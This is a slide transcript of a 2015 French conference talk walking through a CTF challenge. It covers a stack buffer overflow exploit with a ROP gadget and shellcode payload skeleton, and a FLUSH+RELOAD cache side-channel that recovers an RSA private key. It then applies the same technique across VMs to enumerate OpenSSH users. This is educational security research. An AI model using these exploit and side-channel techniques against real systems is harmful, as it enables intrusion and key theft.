sthack 2015 - david berard & vincent fargues - attack the cache to get some cash
TRANSCRIPT
ATTACK THE CACHE TO GET SOME CASHSthack 27 mars 2015
0
DAVID BERARD & VINCENT FARGUESCESTI Thales à Toulouse
1
CHALLENGE NOSUCHCON #2 - SEPTEMBRE 2014
Conférence à Paris 19-21 NovembreChallenge créé par
Objectif : Trouver email + password
2
CHALLENGE EN 3 ÉTAPES1. Rétro ingénierie MIPS
Rétro ingénierie rapide et analyse statistique2. Escape Python sandbox + XXE
Attaque sur AES-128 avec un padding oracle(vulnérabilité non souhaitée par les créateurs).Exfiltration de données par XXEEvasion de la sandbox Pickle modifiée
3. Timing cache attack sur RSA en remote avec overflowExploitation d'un buffer overflowRéalisation d'une attaque par canaux auxiliaires
3
DÉCOUVERTE DE L'ARCHIVE$ tar xzvf securedrop.tar.gz securedrop/securedrop/client/securedrop/client/client.pysecuredrop/archive/securedrop/archive/messagessecuredrop/servers/securedrop/servers/SecDropsecuredrop/servers/xinetd.conf/securedrop/servers/xinetd.conf/secdropsecuredrop/servers/xinetd.conf/stpmsecuredrop/servers/STPMsecuredrop/lib/securedrop/lib/libsec.so
4
DÉCOUVERTE DE L'ARCHIVE : MESSAGE ARCHIVÉ
Message chiffré (2 lignes)
securedrop/archive/messages
$ cat archive/messages new message:0C849AFE0A7C11B2F083C32E7FDB0F8AC03198D84D9990B26D6443B1D185A36A235A561BB99FE897858371311B2AD6DFE75E199667637EDEA7B9C14A158A5F6FFE15A1C14DAD808FDC9F846530EDD4FE3E86F4F98571CD45F11190ED531FC940D62C2C2E05F99772235808097763157F140FE4A57DB6AD902D9962F12BDFC1547CED3E282604255B2A5331373CAEE557CC825DD6A03C3D2D7B106E4AD15347BCB5067BDC60376FF1CC133F2C149d41dbb8da10b66cdde844f62e9cc4f96c3a88730b7b8307810cf1906935123f97ac9b682dd401512d18775bd7bd9b8b40929f5b4a1871ba44c94038793f0aa639b9d71d72d2accfcc95671c77a5c1c32bc813b048f5dcb1f08b59d6a7afb3b34462ac6abb69cb70accb24d78389a1777c5244b8063c542cc1f6c6db8d41d32df2e7132e21db8a1cc711c1a97c51ba29f1d1ac8fa901a902b2a987f0764734f8b8cd2d476200e7ae62a424e2930d8b029409d0e5e13d4e11f4b5f5cc1263f41b500b4340b8641465bbc56c64a575f0ee215d02dea3d75552328cf5742c
5
DÉCOUVERTE DE L'ARCHIVE : CLIENT PYTHONsecuredrop/client/client.py
[...]s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.settimeout(15)s.connect(('nsc2014.synacktiv.com', 1337))
s.send('%s\n%s\n%s\n'%(PASSWORD, wk, enc.encode('hex')))r = ''while '\n' not in r : r += s.recv(1024)
try : r = r.strip('\n').decode('hex') print ocb_decrypt(k, r)except : print r
6
DÉCOUVERTE DE L'ARCHIVE : CONFIGURATION XINETD
secdropport : 1337utilisateur : secdropbinaire : /home/secdrop/SecDropargument : /home/secdrop/messages
stpmport : 2014utilisateur : stpmbinaire : /home/stpm/STPMargument : /home/stpm/keyfile
securedrop/servers/xinetd.conf/secdropsecuredrop/servers/xinetd.conf/stpm
7
DÉCOUVERTE DE L'ARCHIVE : BINAIRES X86-64securedrop/servers/SecDropsecuredrop/servers/STPMsecuredrop/lib/libsec.so
8
FONCTIONNEMENT BASIQUE DU CLIENTClient SecDrop
gen random AES_key
PASSWORD
RSA_encrypt(AES_key,Kpub)
AES_encrypt(message,AES_key)
AES_encrypt("OK",AES_key)
9
RÉTRO INGÉNIERIE SECDROPÉcoute via xinetd sur le port 1337Service de réception de messageStockage de messages dans un fichier (argv[1])
10
RÉTRO INGÉNIERIE SECDROP : INITIALISATIONfopen argv[1]Connect 127.0.0.1:2014Limitation des syscalls à READ, WRITE, EXIT
LODWORD(v0) = seccomp_init(0LL);v1 = v0;if ( v0 && seccomp_rule_add(v0, 2147418112LL, 0LL, 1LL) >= 0 && seccomp_rule_add(v1, 2147418112LL, 0LL, 1LL) >= 0 && seccomp_rule_add(v1, 2147418112LL, 1LL, 1LL) >= 0 && seccomp_rule_add(v1, 2147418112LL, 1LL, 1LL) >= 0 && seccomp_rule_add(v1, 2147418112LL, 1LL, 1LL) >= 0 && seccomp_rule_add(v1, 2147418112LL, 1LL, 1LL) >= 0 && seccomp_rule_add(v1, 2147418112LL, 60LL, 0LL) >= 0 && seccomp_load(v1) >= 0 ){ seccomp_release(v1); result = 0LL;}
11
RÉTRO INGÉNIERIE SECDROP : LECTURE DU PASSWORDMot de passe fixe hardcodé
if ( read(0, &buf, 0x21uLL) != 33 || memcmp(&buf, "UBNtYTbYKWBeo12cHr33GHREdZYyOHMZ\n", 0x21uLL) ){ write(1, "WRONG PASSWORD!\n", 0x10uLL); SEC_exit(1LL);}sub_400FB0(v7);SEC_exit(0LL);
12
RÉTRO INGÉNIERIE SECDROPLECTURE DE LA CLEF AES CHIFFRÉE PAR RSA ET DU MESSAGE CHIFFRÉ PAR AES
Lecture caractère par caractèreStockage sur la stack
int __fastcall read_input(__int64 a1, __int64 a2){ v2 = 0LL; while ( 1 ) { result = SEC_fgetc(a1); if ( result == -1 || result == '\n' ) break; v3 = (unsigned int)v2; v2 = (unsigned int)(v2 + 1); *(_BYTE *)(a2 + v3) = result; } *(_BYTE *)(a2 + v2) = 0; return result;}
13
RÉTRO INGÉNIERIE SECDROP : COMMUNICATION AVEC STPMClef AES chiffrée par RSA envoyée au STPM
Avec la commande : 3\n2\n0\nKEY\nMessage chiffré AES transmis au STPM
Avec la commande : 2\n2\nMESSAGE\n
14
FONCTIONNEMENT GLOBALClient SecDrop STPM
AES_key=random(16)
PASSWORD
RSA_encrypt(AES_key,Kpub) 3-2-0-RSA_encrypted_AES_key
AES_encrypt(message,AES_key) 2-2-AES_encrypted_message
15
PSEUDO-CODE SECDROPsave_messages = open(argv[1])
socket_stpm = connect(localhost:2014)
restrict_allowed_syscalls()
passwd = read(stdin,33)
if(passwd=="UBNtYTbYKWBeo12cHr33GHREdZYyOHMZ\n"): aes_key =read_input() encrypted_msg=read_input()
send(socket_stpm,"3\n2\n0\n"+aes_key+"\n") send(socket_stpm,"2\n2\n"+encrypted_msg+"\n")
save_messages.write(aes_key + "\n" + encrypted_msg)
16
RÉTRO INGÉNIERIE STPMÉcoute via xinetd sur le port 2014 (filtré pour l'extérieur)Sofware Trusted Platform Module ?Réalise les opérations de chiffrement et de déchiffrementStocke des clefs (16 emplacements pour des clefssymétriques / asymétriques)Préchargement des clefs depuis le fichier argv[1]
Absent de l'archive fournie
17
RÉTRO INGÉNIERIE STPM : PARSING DES COMMANDESSymboles présents dans le binaire :)
switch ( v2 ) { case '4': v3 = export_key(); goto LABEL_6; case '3': v3 = import_key(); goto LABEL_6; case '2': v3 = message_decrypt(); LABEL_6: if ( v3 ) goto LABEL_7; continue; case '1': print_keys();[...]
18
RÉTRO INGÉNIERIE STPM : COMMANDES DISPONIBLES1. print_keys()
affiche toutes les clefs stockées2. decrypt(key_id,message)
déchiffre le message avec la clef key_id3. import_key(key_id,index,ciphered_AES_key)
Reçoit ciphered_AES_key chiffré en RSA avec la clef key_idDéchiffre et stocke la clef à l'index spécifié
4. export_key(index,key)Renvoie la clef AES à l’index spécifié chiffrée en RSA avecla clef key
5. exit()
19
FONCTIONNEMENT GLOBALClient SecDrop STPM
AES_key=random(16)
Kpriv=read(argv[1])PASSWORD
RSA_encrypt(AES_key,Kpub) 3-2-0-RSA_encrypted_AES_key
AES_key=RSA_decrypt(Kpriv)
store(AES_key)
AES_encrypt(message,AES_key) 2-2-AES_encrypted_message
AES_encrypt("OK",AES_key)AES_encrypt("OK",AES_key)
20
BUFFER OVERFLOW DANS SECDROPLecture caractère par caractère sur la socket vers le clientStockage sur la stackArrêt de la lecture si retour à la ligne → overflow
int __fastcall read_input(__int64 a1, __int64 a2){ v2 = 0LL; while ( 1 ) { result = SEC_fgetc(a1); if ( result == -1 || result == '\n' ) break; v3 = (unsigned int)v2; v2 = (unsigned int)(v2 + 1); *(_BYTE *)(a2 + v3) = result; } *(_BYTE *)(a2 + v2) = 0; return result;}
21
BUFFER OVERFLOW DANS SECDROPClient SecDrop
PASSWORD
padding+ ROP Chain + Shellcode
shellcodeexecution
22
BUFFER OVERFLOW DANS SECDROP : SHELLCODEROP chain simple : gadget magique présent dans le code
Exploit :
Syscalls limités à READ, WRITE, EXIT par la sandbox
.text:0000000000400F60 db 0B8h
.text:0000000000400F61 ; -----------------------------
.text:0000000000400F61 jmp rsp
.text:0000000000400F61 ; -----------------------------
.text:0000000000400F63 db 0
jmp_rsp=0x00400f61# passwordpayload="UBNtYTbYKWBeo12cHr33GHREdZYyOHMZ\n"# overflowpayload+="A"*12072# Jump to shellcodepayload+=addr(jmp_rsp)# write shellcodepayload+=shellcode()payload+="\n"
23
BUFFER OVERFLOW DANS SECDROP : EXEMPLE AVEC PRINTKEYRéutilisation des descripteurs de fichier déjà ouverts(sockets client/STPM)
Client SecDrop STPM
PASSWORD
padding+ ROP Chain + Shellcode
1 (printKey)
printKey results
printKey results
she
llcod
e e
xe
cutio
n
24
BUFFER OVERFLOW DANS SECDROP : EXEMPLE AVEC PRINTKEYkey 0: ASYMETRIC n = 0x000000B740DF8EE7BEFFE41A337B4E56FFE903D6D62C75[...] e = 0x00010001 q = PRIVATE :)key 1: SYMETRIC k = SECRET :)key 2: EMPTYkey 3: EMPTYkey 4: EMPTYkey 5: EMPTYkey 6: EMPTYkey 7: EMPTYkey 8: EMPTYkey 9: EMPTYkey 10: EMPTYkey 11: EMPTYkey 12: EMPTY
25
26
TIMING CACHE ATTACKAttaque par canaux auxiliaires utilisant le cache desprocesseurs x86Cible les algorithmes cryptographiques
AESRSA
FLUSH+RELOAD: a High Resolution,Low Noise, L3 Cache Side-ChannelAttacksource :https://eprint.iacr.org/2013/448.pdf
27
FLUSH+RELOAD : CONDITIONS D'EXPLOITATIONL'attaquant et la cible doivent être sur le mêmeprocesseur
Shellcode dans SecDrop sur la même machine queSTPM
Le code du RSA doit être lisible par l'attaquantOpérations RSA réalisées dans la librairie partagée
28
FLUSH+RELOAD : LE CACHE COMME CANAL AUXILIAIRE
Core 0
L1 instr L1 data
L2
Core 1
L1 instr L1 data
L2
L3
STPM SecDrop
Main memorylibsec.so
29
FLUSH+RELOAD : LE CACHE COMME CANAL AUXILIAIRE
Core 0
L1 instr L1 data
L2
Core 1
L1 instr L1 data
L2
L3
STPM SecDrop
Main memorylibsec.so
30
FLUSH+RELOAD : LE CACHE COMME CANAL AUXILIAIRE
Core 0
L1 instr L1 data
L2
Core 1
L1 instr L1 data
L2
L3
STPM SecDrop
Main memorylibsec.so
31
FLUSH+RELOAD : LE CACHE COMME CANAL AUXILIAIRE
Core 0
L1 instr L1 data
L2
Core 1
L1 instr L1 data
L2
L3
STPM SecDrop
Main memorylibsec.so
< X cycles CPU> X cycles CPU
31
FLUSH+RELOAD : LE CACHE COMME CANAL AUXILIAIRE
Core 0
L1 instr L1 data
L2
Core 1
L1 instr L1 data
L2
L3
STPM SecDrop
Main memorylibsec.so
clflush
32
FLUSH+RELOAD : ALGORITHMEwhile True: a = get_CPU_cycle() read_memory(address) b = get_CPU_cycle() flush_caches(address)
if b-a < threshold: # the memory zone was accessed by another process else: # the memory zone wasn't accessed
33
IDENTIFICATION DES SEUILSFLUSH+Reload sur une adresse régulièrement utiliséeRécupération du nombre de cycles CPU pour une lecture
CanvasJS.com
34
IDENTIFICATION DES SEUILSFLUSH+Reload sur une adresse régulièrement utiliséeRécupération du nombre de cycles CPU pour une lecture
CanvasJS.com
CacheHITS< 200
34
IDENTIFICATION DES SEUILSFLUSH+Reload sur une adresse régulièrement utiliséeRécupération du nombre de cycles CPU pour une lecture
CanvasJS.com
CacheHITS< 200
CacheMISS> 200
34
RSA : EXPONENTIATION MODULAIRERSA_decrypt : bigint(ciphertext) ^ d % n
d => exposant privén => modulus
Bignum Exp_mod : square et multiply
/* base = n, exp = d, m = int(ciphertext) */modpow(base, exp, m) { result = 1; while (exp > 0) { if (exp & 1 > 0) { result = (result * base) % m; #MULTIPLY } exp >>= 1; base = (base * base) % m; #SQUARE } return result;}
35
RSA : EXPONENTIATION MODULAIRERSA_decrypt : bigint(ciphertext) ^ d % n
d => exposant privén => modulus
Bignum Exp_mod : square et multiply
/* base = n, exp = d, m = int(ciphertext) */modpow(base, exp, m) { result = 1; while (exp > 0) { if (exp & 1 > 0) { result = (result * base) % m; #MULTIPLY } exp >>= 1; base = (base * base) % m; #SQUARE } return result;}
35
IDENTIFICATION DES FONCTIONS SQUARE & MULTIPLYTest sur le bitSquare & multiply
36
CACHE ATTACK DEPUIS L'OVERFLOW DANS SECDROP
Main memory libsec.somultiply
square
SEC_unwrap
SEC_fgetc
SecDrop STPM
37
CACHE ATTACK DEPUIS L'OVERFLOW DANS SECDROP
Main memory libsec.somultiply
square
SEC_unwrap
SEC_fgetc
SecDrop STPM
Flush&ReloadShellcode
38
CACHE ATTACK DEPUIS L'OVERFLOW DANS SECDROPClient SecDrop STPM
PASSWORD
padding+ ROP Chain + Shellcode
3-2-0-RSA_encrypted_AES_key
AES_key=RSA_decrypt(Kpriv)
results
she
llcod
e e
xe
cutio
n
me
sure
s
39
EXTRACTION DES BITS DE L'EXPOSANT PRIVÉ
CanvasJS.com
SquareMultipy
1
SquareMultipy
1
41
EXTRACTION DES BITS DE L'EXPOSANT PRIVÉ
CanvasJS.com
SquareMultipy
1
SquareMultipy
1
0
41
EXTRACTION DES BITS DE L'EXPOSANT PRIVÉ
CanvasJS.com
SquareMultipy
1
SquareMultipy
1
0
SquareMultipy
1
41
EXTRACTION DES BITS DE L'EXPOSANT PRIVÉ
CanvasJS.com
SquareMultipy
1
SquareMultipy
1
0
SquareMultipy
1
SquareMultipy
1
41
EXTRACTION DES BITS DE L'EXPOSANT PRIVÉ
CanvasJS.com
SquareMultipy
1
SquareMultipy
1
0
SquareMultipy
1
SquareMultipy
1
0
41
EXTRACTION DES BITS DE L'EXPOSANT PRIVÉ
CanvasJS.com
SquareMultipy
1
SquareMultipy
1
0
SquareMultipy
1
SquareMultipy
1
0
0
41
EXTRACTION DES BITS DE L'EXPOSANT PRIVÉ
CanvasJS.com
SquareMultipy
1
SquareMultipy
1
0
SquareMultipy
1
SquareMultipy
1
0
0
SquareMultipy
1
41
RECONSTRUCTION DE L'EXPOSANT PRIVÉBits inversés : consommés par l'exponentiation modulairepar la finPlusieurs tentatives : résultats différentsUn résultat se démarque dans 20% des cas, c'estl'exposant privé
42
RAPPEL : MESSAGE DANS L'ARCHIVE
Ligne 1 : Clef AES chiffrée RSALigne 2 : Message chiffré AES
securedrop/archive/messages
$ cat archive/messages new message:0C849AFE0A7C11B2F083C32E7FDB0F8AC03198D84D9990B26D6443B1D185A36A235A561BB99FE897858371311B2AD6DFE75E199667637EDEA7B9C14A158A5F6FFE15A1C14DAD808FDC9F846530EDD4FE3E86F4F98571CD45F11190ED531FC940D62C2C2E05F99772235808097763157F140FE4A57DB6AD902D9962F12BDFC1547CED3E282604255B2A5331373CAEE557CC825DD6A03C3D2D7B106E4AD15347BCB5067BDC60376FF1CC133F2C149d41dbb8da10b66cdde844f62e9cc4f96c3a88730b7b8307810cf1906935123f97ac9b682dd401512d18775bd7bd9b8b40929f5b4a1871ba44c94038793f0aa639b9d71d72d2accfcc95671c77a5c1c32bc813b048f5dcb1f08b59d6a7afb3b34462ac6abb69cb70accb24d78389a1777c5244b8063c542cc1f6c6db8d41d32df2e7132e21db8a1cc711c1a97c51ba29f1d1ac8fa901a902b2a987f0764734f8b8cd2d476200e7ae62a424e2930d8b029409d0e5e13d4e11f4b5f5cc1263f41b500b4340b8641465bbc56c64a575f0ee215d02dea3d75552328cf5742c
43
DÉCHIFFREMENT DE LA CLEF AES# Inversion des bits, conversion en entier de "d"d = int(d_binary[::-1],2)# Conversion en entier de la clef chiffré depuis le message chiffréencrypted_aes_key = int(encrypted,16)# Operation de déchiffrement RSAkey_value = pow(encrypted_aes_key, d, n)# Key : conversion depuis un entierkey = '%0x' % (key_value)# Suppression du padding PKCS1 v1.5print key[-32:]
44
DÉCHIFFREMENT DU MESSAGESIMPLE OPÉRATION AES AVEC LA CLEF RETROUVÉE
$ python2 decrypt_msg.pyGood job! Send the secret 3fcba5e1dbb21b86c31c8ae490819ab6 to [email protected]. Also, don't forget to send us your solution within 10 days.Synacktiv team
45
IN THE REAL WORLD...Exemple : bruteforce des utilisateurs dans OpenSSH
Cache attack inter VM
46
HYPERVISEUR AVEC DÉDUPLICATION DE MÉMOIREKVM : Kernel-based Virtual MachineKSM : Kernel Samepage MergingCombinaison par défaut sur certaines distributionsdédiées à la virtualisation
47
KERNEL SAME PAGE MERGING
Virtual memory
VM 1
Main memory
Virtual memory
VM 2
Hyperviseur
48
KERNEL SAME PAGE MERGING
Virtual memory
VM 1
Main memory
Virtual memory
VM 2
Hyperviseur ksmd
49
KERNEL SAME PAGE MERGING
VM 1
Main memory
VM 2
Hyperviseur ksmd
Virtual memory Virtual memory
same page
50
KERNEL SAME PAGE MERGING
VM 1
Main memory
VM 2
Hyperviseur ksmd
Virtual memory Virtual memory
51
KERNEL SAME PAGE MERGING
VM 1
Main memory
VM 2
Hyperviseur ksmd
Virtual memory Virtual memory
52
KERNEL SAME PAGE MERGING
VM 1 VM 2
Hyperviseur ksmd
Virtual memory Virtual memory
Main memory
sshd sshd
Cache L3
53
L'UTILISATEUR INEXISTANT EXISTE !if (authctxt->pw && strcmp(service, "ssh-connection")==0) { authctxt->valid = 1; debug2("input_userauth_request: setting up authctxt for %s", user);} else { logit("input_userauth_request: invalid user %s", user); authctxt->pw = fakepw();}
struct passwd *fakepw(void){ static struct passwd fake; memset(&fake, 0, sizeof(fake)); fake.pw_name = "NOUSER"; fake.pw_passwd = "$2a$06$r3. juUaHZDlIbQaO2dS9FuYxL1W9M81R1Tc92PoSNmzvpEqLkLGrK"; fake.pw_uid = privsep_pw == NULL ? (uid_t)-1 : privsep_pw->pw_uid; fake.pw_gid = privsep_pw == NULL ? (gid_t)-1 : privsep_pw->pw_gid; fake.pw_dir = "/nonexist"; fake.pw_shell = "/nonexist"; return (&fake);}
54
TEST DE LA PRÉSENCE D'UN UTILISATEURChargement du binaire sshd en mémoire (mmap)Création d'un thread de monitoring
FLUSH+RELOAD sur l'adresse fakepw (offset danssshd)
En parallèle : Connexion à la VM avec libssh2HIT sur fakepw : utilisateur inexistantMISS sur fakepw : utilisateur existant
55
DÉMOuser@vm1 $ ./ssh_user_bruteforcer
56